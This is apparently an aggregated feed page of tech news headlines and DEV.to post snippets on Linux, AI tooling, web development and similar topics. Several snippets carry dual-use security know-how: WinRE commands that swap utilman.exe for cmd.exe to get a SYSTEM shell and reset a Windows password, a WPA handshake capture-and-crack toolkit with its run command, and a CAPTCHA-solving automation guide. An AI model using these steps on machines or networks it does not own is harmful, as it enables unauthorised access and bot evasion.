    Cops say criminals use a Google Pixel with GrapheneOS – I say that's freedom
    Comments  ( 17 min )
    Using Radicle CI
    Comments  ( 8 min )
    SDR42E1 modulates Vitamin D absorption and cancer pathogenesis
    Comments  ( 79 min )
    20 years of Linux on the Desktop (part 4)
    Comments  ( 7 min )
    The Append-and-Review Note
    Comments  ( 4 min )
    Three high-performance RISC-V processors to watch in H2 2025
    Comments  ( 18 min )
    Inverted Indexes: A Step-by-Step Implementation Guide
    Comments  ( 31 min )
    How younger people interact with the modern internet
    Comments
    Apple Introduces AppleCare One
    Comments  ( 13 min )
    Show HN: Open IT Maintenance Planner
    Comments
    Are we Trek yet? – A guide for how close we are to Star Trek technology
    Comments  ( 1 min )
    Return of wolves to Yellowstone has led to a surge in aspen trees
    Comments  ( 54 min )
    QuestDB (YC S20) Is Hiring a Technical Content Lead
    Comments  ( 14 min )
    Instapaper Rakuten Kobo Integration
    Comments  ( 7 min )
    Apple's Liquid Glass: When Aesthetics Beat Function
    Comments  ( 13 min )
    Show HN: Header-only GIF decoder in pure C – no malloc, easy to use
    Comments  ( 2 min )
    Font-size-adjust Is Useful
    Comments  ( 2 min )
    Yes, the Book of PF, Fourth Edition Is Coming Soon
    Comments  ( 12 min )
    Cerebras Launches Qwen3-235B, Achieving 1,500 Tokens per Second
    Comments  ( 12 min )
    Lumo: Privacy-first AI assistant
    Comments  ( 14 min )
    Open Sauce is a confoundingly brilliant Bay Area event
    Comments  ( 4 min )
    What is X-Forwarded-For and when can you trust it? (2024)
    Comments  ( 47 min )
    Has Brazil Invented the Future of Money?
    Comments
    Choosing the rijght .NET container image for your workload
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  • Open

    White House plan signals “open-weight first” era—and enterprises need new guardrails
    Enterprises will not see immediate impact from the AI Action Plan, but it signals wider support for open-source models and evaluations.  ( 8 min )
    SecurityPal combines AI and experts in Nepal to speed enterprise security questionnaires by 87X or more
    The Kathmandu center of excellence gives SecurityPal a cost base low enough to keep humans in the loop while staying price-competitive.  ( 8 min )
    Qwen3-Coder-480B-A35B-Instruct launches and it ‘might be the best coding model yet’
    Developers can define custom tools and let Qwen3-Coder dynamically invoke them during conversation or code generation tasks.  ( 9 min )
    Former Anthropic exec raises $15M to insure AI agents and help startups deploy safely
    Former Anthropic executive raises $15M to launch AI insurance startup, helping enterprises safely deploy artificial intelligence agents through standards and liability coverage.  ( 9 min )
    Mixture-of-recursions delivers 2x faster inference—Here’s how to implement it
    Mixture-of-Recursions (MoR) is a new AI architecture that promises to cut LLM inference costs and memory use without sacrificing performance.  ( 8 min )
  • Open

    Dreaming of Jupiter - Three.js
    A post by Morgan  ( 2 min )
    Building a TypeScript Library in 2025
    If you've built a TypeScript library recently, you know the pain. You spend more time wrestling with build configurations than actually writing code. Your tsup builds take 4 seconds. It's 2025. We can do better. The TypeScript ecosystem has been missing a tool that combines: Lightning-fast builds (sub-100ms, not multi-second) Zero-config ergonomics that scale with complexity Modern TypeScript features like isolatedDeclarations Built-in intelligence for common library tasks Here's what modern TypeScript library development should look like: # Traditional approach $ tsup src/index.ts ✓ Build completed in 1.4s # What's possible in 2025 with bunup $ bunup src/index.ts ✓ Build completed in 37ms 37 milliseconds. Not 1.8 seconds. Not 400ms. 37ms. Bunup is powered by Bun's native bundler, maki…  ( 5 min )
    How I make teams productive
    Below are a couple of practices I implement to not only boost my own productivity & speed, but the speed of my team. Some of them are oriented around getting new devs up to speed quickly, while others are meant for enhancing current team members. For one of the projects I've worked on, Prayershub, it takes about a week to setup a dev environment. It integrates with AWS, Typesense, MariaDB, PHPMyAdmin, CPanel, CaddyServer, on top of several dev tools to hot-reload HTML and connect with the accompanying Flutter app. One day, I finally decided to invest 2-3 weeks into making a predictable, versioned, reliable dev environment. And that investment has paid off very well for itself. To get a new dev onboard (whether they use Windows Or Ubuntu Linux) is as simple as: Install Docker (or Docker Des…  ( 6 min )
    WebGL Distortion Slider
    Using Three.js for the image transitions and some crude HTML + CSS just to mockup the UI around the background.  ( 2 min )
    Complete Hummingbot Arbitrage Usage Guide
    Table of Contents Introduction Requirements and Installation Initial Configuration Exchange Configuration Tutorial: Cross Exchange Market Making (XEMM) Tutorial: Spot-Perpetual Arbitrage Testnet vs Mainnet Monitoring and Optimization Troubleshooting Best Practices Additional Resources Hummingbot is an open-source algorithmic trading platform that allows the creation and execution of automated trading strategies across multiple cryptocurrency exchanges. Arbitrage is a strategy that exploits price differences of the same asset on different exchanges to obtain profit without market risk. There are two main types: Cross Exchange Arbitrage: Buy on one exchange and sell simultaneously on another Spot-Perpetual Arbitrage: Exploits differences between spot and futures prices IMPORTANT RISK WARN…  ( 13 min )
    [Boost]
    Join the Redis AI Challenge: $3,000 in Prizes! Jess Lee for The DEV Team ・ Jul 23 #redischallenge #devchallenge #ai #database  ( 2 min )
    Crossy Road with three.js
    An interactive tech demo inspired by Crossy Road using three.js where I put together a scene with an orthographic camera that follows the player, a few simplified 3D objects with some texture, lights and shadows, and a basic game logic that randomly generates a level that you can walk through.  ( 2 min )
    DevOps: A Roadmap into a Culture of Collaboration
    Making a not-so-dramatic foray into the world of DevOps, I have observed a unique culture of collectiveness where teams build and deliver software, rather than a mere tech-driven discipline. The following thoughts are derived from my work and research in the DevOps domain, presented in a structured manner to assist individuals transitioning into the ever-evolving DevOps field. ***🔍 What Is DevOps?* A simple way to illustrate the DevOps framework is to think of a wedding event with catering services delivered by the caterer (as Dev) and the events coordinator (as Ops). It’s easy to see that both teams will have to maintain regular communications for the event to be implemented seamlessly. ⚙️ What Are Automation, Scaling, and Infrastructure? 📈 Scaling 🧱 Infrastructure 🌟 Why DevOps Is Im…  ( 5 min )
    Joystick Navigation UI in .NET MAUI
    This article is part of the #MAUIUIJuly initiative by Matt Goldman. You'll find other helpful articles and tutorials published daily by community members and experts there, so make sure to check it out every day. Traditional app navigation is often static — tabs, drawers, and buttons. But what if we took inspiration from video games and created a joystick to control navigation? In this tutorial, you'll build a fun and interactive joystick-style navigation system in .NET MAUI. This tutorial is aimed at beginners. First, let's do a bit of setup before actually creating the control. Create a .NET MAUI project with the name JoystickNavigationApp. Add three folders: Controls, Helpers, and Views. In the Views folder, add your pages (views) with your content. For example, this sample proje…  ( 7 min )
    I’m Building a CSV Cleaner That Doesn’t Suck (or Charge You Monthly)
    I’m working on a small tool called Daklens — a CSV cleanup app where you can upload, transform, and clean your data… and only pay if you choose to export. No subscriptions. No usage limits. No account required. But here’s the real reason I’m building it: 💡 Daklens is a public demo of Billivio — my pay-per-use billing platform for apps that don’t want to deal with subscription headaches. This is my way of: 🧪 Testing real-world usage of the “pay per file” model 📦 Dogfooding the Billivio API behind the scenes 🧰 Showing how flexible the platform is — whether you're selling access to APIs, downloads, exports, or something else entirely Upload your CSV Fix column names, types, and formatting (dates, currencies, etc.) Remove incomplete or duplicate rows Pay once per export (not per row or per month) Note: It only displays a sample of 10 rows during editing to keep it fast. The pricing model (per-export) UI clarity — I’m still tweaking a few things Any glaring UX issues or features you’d expect but don’t see This isn’t trying to be a giant spreadsheet app — it’s meant to do one thing well: clean up your CSV file before you actually need to use it. If you’ve ever worked with messy exports or manually fixed CSVs in a spreadsheet editor… let me know what you think. 📸 Screenshots coming below (site is live, but not this version, yet) https://daklens.com  ( 4 min )
    Stop Writing Spaghetti Code: An Illustrated Guide to the Design Patterns That Will Make You a Better Developer
    You’ve been there. Staring at a file so tangled with dependencies that you’re afraid to even breathe on it. A function so bloated it needs its own table of contents. Code that works, sure, but it feels fragile, like a Jenga tower one pull away from collapsing. We all start there. But what separates a junior developer from a senior architect isn't just knowing more syntax; it's knowing the secret language of structure. It's having a mental toolkit of legendary blueprints to solve common problems with elegance and foresight. These blueprints are Design Patterns. They aren't code you copy and paste. They are battle-tested ideas for how to organize your code to make it flexible, understandable, and robust. Today, we're not just going to learn them; we're going to visualize them. This is the il…  ( 8 min )
    SwiGLU: The FFN Upgrade I Use to Get Free Performance
    Here’s why your Transformer’s feed-forward network is probably outdated. For years, the default was a simple MLP block with a ReLU or GELU activation. That’s cheap, but it’s not what’s running inside the models that matter today. Llama, Mistral, PaLM, and Apple’s foundation models all use a variant of a Gated Linear Unit, specifically SwiGLU. This post will show you exactly what SwiGLU is, why it works, and how to implement it. We’ll skip the academic fluff and focus on the mechanics and the common gotchas I've seen trip up teams in production. This isn't just theory; it's a small code change that has a measurable impact on model quality. A neural network without non-linear activations is just one big, useless linear regression. Functions like ReLU (max(0, x)) solve this by bending and fol…  ( 7 min )
    why I moved from Supabase to Gadget for my Replit builds
    Wasn’t planning to switch. I’d used Supabase for a few small apps and figured it was “good enough.” But every time I tried to go beyond a prototype, it felt like I was wrestling Postgres instead of building features. I use Replit for all my projects (love the instant startup and AI agent), but wiring it up to anything backend-heavy started to feel like duct tape and good intentions. Then I found Gadget though a random thread about Shopify devs using it for admin panels. Here’s what actually won me over: I describe my data model and it builds the API for me. Like actually working endpoints with docs that match my schema. Built-in auth, file storage, and job runners. No plugin maze. Auto-indexing that just works. Haven’t touched a query plan since. Can keep my frontend entirely in Replit. No need to learn a whole new system just to get an API. I rebuilt one of my earlier projects (a fantasy league stat visualizer) and shipped more in two evenings than I did in a week with Supabase. Gadget’s not for everyone. If you love doing deep SQL optimizations or fine-tuning your infra, you might bounce off it. But if you're like me and want to stay in the frontend lane and not get stuck debugging why your RLS policy broke at midnight, it’s honestly a game changer. Happy to share how I wired it up with Replit if anyone’s curious. Let me know.  ( 3 min )
    Weekly Job Roundup ✨ July 24th Edition
    Hey everyone! ✨ As part of our mission to help our community land the roles they deserve, here's your list of job openings across different domains! 🚀 Software Engineer @ NetApp (Bangalore, India): https://jobs.netapp.com/job/Bangalore%2C-Karnataka-Software-Engineer-CC%2B%2B/1299158200/ IT Security Engineer @ Microsoft (London, UK): https://microsoft.bamboohr.com/careers/15 General Manager @ Fourier (India): https://fourier.earth/careers?ashby_jid=740f24a8-1cf4-411f-89e9-be13adb94f00 Senior Mobile UI/UX Designer @ Coinhako (Singapore): https://jobs.ashbyhq.com/coinhako/6dbb62dc-9f4f-45e0-ad40-90e0f58d66d6/application Technical Content Creator @ Bright (Kolkata, India): https://bright.pinpointhq.com/en/postings/606eeccf-4871-4ce1-b5aa-28e3e97d2bb5 Senior Engineering Manager @ Nielsen (Bangalore, India): https://jobs.smartrecruiters.com/TheNielsenCompany/3743990008747828-senior-engineering-manager Technical Operations Engineer @ QuickNode (Remote, Europe): https://jobs.ashbyhq.com/quicknode/adaaf76d-ce8e-43bf-9f91-9b19cae082b1 React Native Engineer @ OnePay (Remote, USA): https://jobs.ashbyhq.com/oneapp/e5111dcd-397d-4fc4-bb1d-de5b58593d2c Payroll Implementation Manager @ Sona (Remote, UK): https://jobs.ashbyhq.com/sona/8bad688d-fdb2-4136-8ad2-a410b4303556/application Graphic Designer @ Trading 212 (Sofia, Bulgaria): https://jobs.ashbyhq.com/trading212/8fe3bc05-a6e5-45b6-8daf-80ca7c5438b3/application Give Resume Matcher a ⭐ on GitHub ⭐ Resume Matcher on GitHub I'll be sharing more job posts like this in our Discord, LinkedIn and on DEV. Feel free to join the community. (●'◡'●) Resume Matcher on Discord Resume Matcher on LinkedIn ✨ Let’s get you hired. You’ve got this! With love, Harshita 🌸 | Open Source Community Manager  ( 3 min )
    AI Data Collection: Foundations and Strategies for Modern AI Systems
    AI data collection forms the foundation of modern artificial intelligence systems. Whether training machine learning models or providing context for large language models, organizations must gather, process, and manage vast amounts of information effectively. While traditional ML systems require extensive training data, newer generative AI platforms focus more on using data for context and decision-making. This comprehensive guide examines the essential components of AI data collection, from source identification to quality management, helping organizations build robust data pipelines for their AI initiatives. Web scraping represents a primary method of gathering unstructured data from online sources. This technique often yields raw content containing residual HTML elements that require cl…  ( 6 min )
    WWDC - AdAttributionKit Explained: Building on SKAdNetwork's Foundation
    Apple continues to prioritize user privacy while enabling effective advertising attribution. At WWDC 2024, Apple introduced AdAttributionKit, a new framework for iOS and iPadOS that builds upon the fundamentals of SKAdNetwork. This comprehensive guide explores the framework's capabilities, implementation details, and what it means for developers and advertisers. At the heart of AdAttributionKit lies the concept of crowd anonymity. This privacy-preserving mechanism intelligently adjusts the amount of data sent to ad networks based on conversion volumes: Low conversion volumes: Less data is shared to protect individual user privacy Medium conversion volumes: Moderate data sharing as the crowd grows High conversion volumes: Maximum data sharing when anonymity is preserved through crowd size T…  ( 6 min )
    iOS 26 Public Beta Is Out – Share Your Thoughts
    Apple has released the iOS 26 Public Beta, and many users are starting to test it. This thread is for everyone to talk about what’s new, what works well, and what issues they’ve seen. What’s New: New lock screen and home screen customization options A smarter and faster Siri Better privacy controls and app permissions A fresh look for notifications Small updates to many built-in apps Let’s Discuss: Is the beta running smoothly on your device? Have you found any bugs, crashes, or performance issues? What features do you like or dislike? How is the battery life so far? Feel free to share your experience, ask questions, or help others who are also testing the beta.  ( 3 min )
    ck app
    Check out this Pen I made!  ( 2 min )
    AI Agent Development Explained: Architecture, Reasoning, and Environmental Interaction
    AI agent development has emerged as a transformative approach to creating autonomous digital systems. Unlike traditional software that follows rigid rules, AI agents can independently observe their surroundings, process information, and take action to accomplish specific goals. The evolution from rule-based systems to those powered by large language models (LLMs) marks a significant advancement in how these agents operate. Modern AI agents leverage LLMs as their core decision-making engine, enabling more flexible and sophisticated responses to complex tasks. This shift represents a fundamental change in how we create intelligent systems that can adapt, learn, and interact with their environment in increasingly natural ways. AI agents function as independent digital entities capable of maki…  ( 6 min )
    How to Automate Image CAPTCHA Solving Using 2Captcha API with Python & Selenium
    CAPTCHAs are a common security measure to prevent bots from accessing websites. While they serve a legitimate purpose, they can be a hurdle for automation tasks. In this guide, we'll explore how to automate solving image-based CAPTCHAs using the 2Captcha API with Python and Selenium. Prerequisites Python installed (3.6+ recommended) A 2Captcha API key (Sign up here) Basic knowledge of Selenium WebDriver Required Python packages: bash pip install selenium requests pillow python-dotenv twocaptcha-python pip install selenium requests pillow python-dotenv twocaptcha env APIKEY=your_2captcha_api_key_here from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service from webdriver_manager.chrome import ChromeDriverManag…  ( 5 min )
    Claude Code Tip: Documentation tip: "Generate J...
    Documentation tip: "Generate JSDoc comments for this file" - Claude Code writes better docs than most developers. What's your favorite Claude Code tip? claudecode #ai #productivity  ( 3 min )
    🚀 Built My First Multiplayer Browser Game in 3 Days Using Cursor (Soft Launch)
    Hey Devs 👋 I just soft-launched Doodely — a fast, browser-based multiplayer drawing & guessing game built in 3 days using Cursor. This was my first real attempt at building something interactive with real-time multiplayer — and I’m still very much a frontend beginner. My goal was to experiment with AI-assisted workflows to see if tools like Cursor could help me ship faster and write clean, future-proof code. TL;DR: it worked better than expected — and I’d love your feedback 🙏 ⸻ 🎮 What is it? One player draws, others guess the word in real time. The faster you guess, the more points you earn. ⸻ ⚙️ Tech Stack Game state is kept in memory for now, as I’m still testing out hosting tradeoffs. ⸻ 🧪 The Soft Launch Plan I gave myself 3 days and kept the goals super tight: Posted it on Reddit (r/WebGames, r/SideProject) to gather early feedback — and the response was surprisingly positive! ⸻ 💡 What I Learned ⸻ 🧠 Why Cursor? As a beginner, I’m constantly jumping between learning resources. With Cursor, I was able to stay in flow and let AI fill in the gaps while I learned in context. I still had to verify and refactor a lot of the generated code — but the speed boost was real, and it helped me focus more on UX/game logic. ⸻ 🖍️ Try It Out https://doodely.app ⸻ 👋 Would love your thoughts! If you’re building something similar or using AI tools in your workflow, I’d love to hear your approach too. Thanks for reading! 🙌  ( 4 min )
    How to Build a Token Unlock Alert Bot Using DropsTab API
    Most free APIs only cover prices and volumes. But as many builders discover (sometimes too late), unlock events, vesting schedules, and VC data are often the real drivers of big market moves — and they’re usually hidden behind paywalls. In this guide, we’ll build a simple foundation for a token unlock alert bot using the DropsTab API, which provides these datasets — and it even offers a free tier for students and indie builders. apply via the Builders Program if you’re a student, indie dev, or hackathon participant — it’s free for at least 3 months). DropsTab Builders Program page and request free access. Sample Python snippet: url = "https://api.dropstab.com/api/v1/tokenUnlocks" resp = requests.get(url, headers=headers) for event in data['data']: Sample response item: Step 3: Filter for Significant Events You can also sort by date or integrate this into a scheduler to check daily. Step 4: Send Notifications Discord Webhooks Email (via SMTP or services like SendGrid) For example, posting to Discord: What You’ve Built Filters for impactful unlocks. Notifies your team/community via chat or email. This bot can be expanded into a full dashboard, integrated with on-chain monitoring, or extended to track VC funding rounds (/fundingRounds) and wallet movements (/wallets) — all available in the DropsTab API docs. By accessing deeper, institutional-grade data — even on a free tier — you can build tools that not only track prices, but explain why they move. If you end up building something cool with this approach, feel free to share it in the comments or tag me on Dev.to!  ( 4 min )
    Multitenancy Explained: Concepts & A Practical Guide to Shared Database Implementation
    Here's my portfolio website built and hosted on Framer thekareemyusuf.framer.website. Have you ever paused to think about what the thekareemyusuf part of that URL signifies, or how a single service like Framer can power countless distinct websites—each with unique content, design, and configurations—all while running on the same underlying software infrastructure? This powerful and efficient approach is known as multi-tenancy. In this example, thekareemyusuf acts as a unique identifier for your specific "tenant" within the larger Framer application. It tells Framer's system that when a request comes in for thekareemyusuf.framer.website, it should serve your specific website content and configurations, keeping it entirely separate and isolated from other users' websites (e.g., gift.framer.w…  ( 11 min )
    What is webhook ?
    Why Were Webhooks Introduced? Before diving into the concept of webhooks, let’s explore some foundational terms to understand why webhooks are important, how they differ from APIs, and the problems they solve. An API (Application Programming Interface) is a way for a client (like a frontend app) and server (like a backend service) to communicate using the HTTP protocol. The client sends an HTTP request to the server, and the server responds—usually with data in JSON or XML format. 📘 Want to know more about APIs? Check this out: API Docs Sometimes, servers can’t immediately respond with data because they need to run complex algorithms or perform background processing that takes time. A simple HTTP request may timeout in such cases, especially when real-time feedback is needed (e.g., stat…  ( 4 min )
    🚀 Seamless Agent Switching in Robots-AI – No More Restarting the Chat!
    🚀 Seamless Agent Switching in Robots-AI – No More Restarting the Chat! Hey devs! 👋 I’ve just shipped a major feature in Robots-AI, my open-source multi-agent assistant platform: Dynamic Agent Switching – Right Inside the Chat! Until now, switching between agents meant ending your current session and starting a new one. But with this update, you can: ✅ Instantly switch between agents (like a coding agent, real estate agent, or travel agent etc..) within the same conversation ✅ Maintain full chat context across agent switches ✅ Experience a smooth, natural UI that feels like working with a team of AI specialists Curious to see it in action? ▶️ Watch a short demo video This brings Robots-AI a step closer to what a real-world AI assistant should be: Collaborative, fluid, and context-aware No need for expensive hardware No login required Fully open-source and extensible Explore the project here: 👉 GitHub: https://github.com/wiss84/robots-ai If you find it useful, consider giving it a ⭐ or contributing! I’d love your feedback! Got ideas, questions, or want to build your own agents on top of Robots-AI? Drop a comment below or send me a message. 🙌  ( 3 min )
    Reset Windows 10/11 Password Without USB or Reinstall
    Hi there, Its jack, i got locked of my machine 10 minutes before posting this, i thought maybe this post might help some folks out :) Boot into Windows Recovery Environment (WinRE). Swap utilman.exe with cmd.exe on *C:*. On the login screen, hit Ease of Access → instant SYSTEM cmd. Run: net user "YourUser" NewPass123!. Log in, then restore utilman.exe to close the backdoor. Done. No USB sticks, no reinstall. :: WinRE Command Prompt (assumes Windows on C:) bcdedit | find "osdevice" :: optional sanity check copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.bak copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe exit :: reboot :: Login screen → Ease of Access shell net user :…  ( 5 min )
    From Industrial Automation to AI-Powered Gift Magic: My Journey with Mago.Chat
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Just a few weeks ago, I was deeply immersed in PLCs, SCADA systems, and the world of industrial automation. I'm an electronic engineer by trade, with years of experience in control systems—but this hackathon has truly transformed my perspective. I entered the challenge with zero experience building a product for the web. Today, I’m walking away with a fully functional prototype of Mago.Chat —a magical assistant that turns WhatsApp conversations into thoughtful gift suggestions and AI-generated surprise cards. ⚡ The Spark: Building with Bolt.new 🧙 What is Mago.Chat? Mago.Chat is an AI-powered wizard that analyzes WhatsApp chat exports to uncover preferences, shared memories, and personality patterns—a…  ( 5 min )
    Why I Built StyleXui
    It’s been a while since the last official release of StyleXui, and I thought it was time to tell the full story. Not just about what StyleXui is, but why I built it. A lot has happened since my last post. Life has been a rollercoaster for me personally and for the team at Xnyder. We’ve bounced between figuring out revenue models for Xnyder, managing a tool we initially built for fun (shoutout to our anonymous feedback app), and developing what we believe could revolutionize how e-commerce works in my beautiful country, Nigeria. Somewhere in the middle of all this, I kept going back to one tool consistently: StyleXui. The very first version of StyleXui was hacked together around four years ago. I didn’t even think to push it to GitHub at the time. I wasn’t sure it was a big deal. It was jus…  ( 5 min )
    🔥 Top 30 Most-Popular Linux Distributions — July 2025
    In July 2025, the Linux ecosystem is more vibrant and diverse than ever, offering a tailored experience for every user—from the curious beginner and the hardcore gamer to the enterprise sysadmin and the privacy advocate. But with so many choices, which distributions are generating the most buzz? Which communities are most active, and what are real users saying? To find out, we embarked on a deep-dive analysis. Methodology ChatGPT, Perplexity AI, and xAI Grok a 10-million-post crawl of Reddit, X/Twitter, YouTube comments, Mastodon, Discord logs, GitHub issues, and niche tech forums. We then ranked distros by the combined volume and sentiment of those conversations. This list reflects what real people are actively discussing and recommending in mid-2025, not just raw install numbers. So, how…  ( 13 min )
    Writing an OS in Rust
    Plan Over the course of the next few weeks I plan on building a basic operating system in rust. I have no experience in rust, so this is a fairly large hill, and potentially an even bigger boulder. I also have little to no experience in low level programming, save the sprinkle of C++ that I've picked up. However, I did really enjoy the small amount that I've done so I'm excited to see where this takes me. I recently read a book about super learning and that might be the culprit for my current optimism. I'm going to post on here weekly with a progress report sort of thing which will outline progress (if any) that I make over the 7 days, as well as other bits such as challenges faced or questions I may have. I will be delighted if one singular person gives feedback at any point during the process, even if it's just to tell me how badly I'm doing :) Why am I doing this to myself? It's a mix of 2 things. Firstly, I would one day like to be a semi-competent software developer and this is an area that interests me. I find that writing something down helps me understand it better, as I need to describe it succinctly, and in such a way that someone who cannot read my thoughts can understand it. Secondly, I want to use this as an outlet to improve my writing and hopefully as a byproduct of that, my own thinking. I believe that developing clear and concise writing will lead to a similar style of thinking, something which I would like to wield. If you made it this far, thank you, and if this has (for some reason) intrigued you, check back here every Friday at 12:00 GMT. This is the deadline I've set for myself every week or else I wont do it :) Beir Bua  ( 3 min )
    Building a Serverless CRUD API with AWS SAM, Lambda, API Gateway, and DynamoDB
    Serverless development has become a go-to strategy for modern application architectures, and with good reason: it allows developers to focus more on building features and less on managing infrastructure. In this article, I walk you through building a fully serverless CRUD API using AWS SAM, Lambda, API Gateway, and DynamoDB all neatly wrapped in Python. Whether you're new to AWS SAM or just looking for a practical CRUD example to learn from, this guide has you covered. The goal of this project was simple: create a clean, scalable, and serverless API capable of Create, Read, Update, and Delete (CRUD) operations on a DynamoDB table. The architecture leverages the following: API Gateway as the HTTP interface AWS Lambda as the compute layer (Python-powered) DynamoDB as the persistent data stor…  ( 6 min )
    Signal safety and why should you care
    Calling a non-async-signal-safe function from a signal handler is essentially an undefined behaviour and can lead to all sorts of weird behaviours: deadlocks, race conditions and even memory corruption. You may even experience crashes originating from libc, such as the following: malloc(): unsorted double linked list corrupted Fatal glibc error: malloc.c:2599 (sysmalloc): assertion failed: (old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0) Signals are a way to do asynchronous messages on a POSIX system (such as BSD, Linux, macOS) to notify a process that a specific event happened. The key feature here is the asynchronous part. A signal can be delivered at almost any moment in…  ( 6 min )
    Arduino library has few delay function: 1. delay() - as a parameter you should pass a value on milliseconds; 2. delayMicroseconds() - as a parameter you should pass a value on microseconds. I see that really first time.
    A post by Denys Shabelnyk  ( 3 min )
    Advices needed!
    Hey mates, jst a newbie who didn't even start learning devops asking tips for a stronger foundation and the things to be considered, bfore starting to learning. Any kind of advice is appreciated......  ( 2 min )
    How Edge Computing Made Me a Better Programmer: My library now is 10x faster.
    I’ve been maintaining a library for my own SaaS that handles role-based access control (RBAC) on both the client and server side. It worked well, but I wanted to push its performance even further. Specifically, I was aiming for: Faster permission checks – Moving from linear scans to bit-level operations More efficient memory usage – From O(n) arrays to O(1) bitmaps Better performance overall, especially under heavy load Working with edge computing completely reshaped how I think about performance. Here are a few things that really stuck: Memory is limited – You have to cache smartly and keep your footprint small Data proximity matters – Optimize for fast, local lookups Predictability is key – Avoid operations that vary in execution time Permission Checks Now ~10x Faster Before: Looping…  ( 4 min )
    Enforcing Go coding conventions and best practices with Cursor
    Read my short blog about Enforcing Go coding conventions and best practices with Cursor Enforcing Coding conventions and best practices with Cursor 🤖 I’ve been experimenting with using Cursor to enforce Go backend code conventions across services — and the results are super promising. Here at HUMAN we develop go code with a convention we like to call Backend structure, which includes project structure, use of common helper libraries for best prac linkedin.com  ( 3 min )
    hcxdupcap: Real-Time WPA Handshake Capture & Cracking Toolkit
    🔗 GitHub Repository: tfmbot/hcxdupcap This Python-based script automates the full cycle of capturing WPA/WPA2 handshakes, extracting them, and optionally cracking them using hashcat. It's built for Wi-Fi security auditing and wraps around powerful existing tools. Capture WPA Handshakes Uses hcxdumptool to capture raw Wi-Fi traffic (.pcapng) from a selected wireless interface. Monitor .pcapng in Real Time A watchdog process monitors the output file for changes. When updated, it automatically runs hcxpcapngtool to extract WPA hashes. Parse and Log Handshakes Extracted hashes are: Saved to hash.hc22000 (for use with hashcat) Logged with SSID info to SsidHash.txt Duplicate hashes are skipped using a set of known hashes in memory. Check and Install Dependencies Automatically checks for required tools: hcxdumptool, hcxpcapngtool, hashcat. Installs missing ones using apt. Start Monitor Mode Automatically Stops NetworkManager and wpa_supplicant before capture. Restarts them safely after capture ends. Crack Captured WPA Hashes (Optional) Offers to crack captured handshakes using hashcat and the rockyou.txt wordlist. Attempts to find rockyou.txt or prompts to download it if not found. sudo python3 hcxdupcap.py -i wlan0 -w mycapture.pcapng Replace wlan0 with your Wi-Fi interface in monitor mode. Default output is capture.pcapng. File Description capture.pcapng Raw capture from hcxdumptool hash.hc22000 Extracted WPA hashes for hashcat SsidHash.txt Readable log of hashes + SSIDs passwordcracked.txt Output of cracked passwords Use responsibly. 🔐  ( 3 min )
    How Emerging Tech is Reshaping Custom Software Development in 2025
    Introduction: The State of Software Development in 2025 Software development is undergoing a real transformation in 2025. Just a few years ago, teams relied on predictable roadmaps and stable tech stacks. But today? AI coding assistants, cloud-native infrastructure, DevSecOps, and low-code platforms are changing how we build, scale, and secure software. With so much innovation, the pressure is real. Tech leaders are asking: Which tools are actually worth the investment? What risks are flying under the radar? How do we future-proof what we’re building today? In this guide, we unpack the biggest tech shifts shaping custom software development — from AI-assisted engineering to serverless computing — and what they really mean for CTOs, product managers, and engineering teams. Based on indust…  ( 24 min )
    Belajar CSS mulai dari mana? dari layouting sederhana aja dulu.
    Hello DEVturer! button. Secara pararel waktu itu saya juga sedang dalam proses mempelajari membuat layout difigma, jadi buat layout difigma lalu coba slicing menggunakan html css, dan akhir nya ada beberapa properti yang cukup sering saya gunakan, yaitu display, width, heigh, margin, dan padding. Ada beberapa kaidah yang bisa kalian gunakan untuk penulisan css, namun pada kasus ini saya menggunakan kaidah penulisan BEM. lebih lengkapnya kalian bisa baca artikel disini. Sebelum memulai menuliskan CSS yang dibutuhkan, kalian bisa melakukan CSS reset terlebih dahulu untuk menghindari inkonsistensi pada berbagai browser. kalian bisa menggunakan CSS reset dari website ini. dan berikut adalah layouting card sederhana  ( 3 min )
    Office Culture Hub 🏢✨
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Office culture is the heartbeat of modern workplaces. From spontaneous water cooler conversations to collaborative team meetings, from the satisfying click of mechanical keyboards to shared lunch breaks that build lasting friendships - these moments define our work experience. This project celebrates the vibrant, dynamic, and often overlooked aspects of office life through interactive web design and CSS art. I was inspired by the universal experiences we all share in office environments: the excitement of brainstorming sessions, the comfort of routine coffee breaks, the joy of team celebrations, and even the humor found in shows like "The Office." This website transforms these everyday…  ( 6 min )
    https://www.linkedin.com/pulse/enforcing-coding-conventions-best-practices-cursor-shahar-taite-4tuof/?trackingId=DNMqntR952Z1EtYJp37GXA%3D%3D #go #golang
    A post by Shahar Taite  ( 2 min )
    Redis Challenge
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. What I Built Demo How I Used Redis 8  ( 2 min )
    why there were a need of collection framework in java?
    The Collection Framework, introduced in Java 1.2, is a unified architecture to store, manipulate, and process data. Before Java 1.2, Java had only arrays and some basic data structures like: vector Hashtable stack But they had limitations: ✅ What is Java Collection Framework? 🧠 Example Comparison Without Collections (using array): With Collections: 🎯 Summary ✅ The Java Collection Framework was created to make life easier by giving us powerful, reusable, flexible, and consistent tools for working with groups of objects.  ( 3 min )
    The Complete Guide to Model Context Protocol (MCP): From Confusion to Clarity
    A comprehensive deep-dive into MCP based on real developer questions and practical examples What is MCP Really? The Core Problem MCP Solves Where is the LLM Actually Located? MCP vs React Agents: The Real Difference Current Platform Support Practical Implementation Guide Real Use Cases for Developers When MCP Makes Sense (And When It Doesn't) The Honest Truth About MCP Let's start with the simplest analogy that cuts through all the confusion: MCP is like USB-C for AI applications. Just as USB-C provides a standardized way to connect your devices to various peripherals, MCP provides a standardized way to connect AI models to different data sources and tools. Before USB existed: Want to connect a mouse? Need a mouse port Want to connect a keyboard? Need a keyboard port Want to connect a pr…  ( 14 min )
    AI Code Editors Are Having Their Main Character Moment in 2025
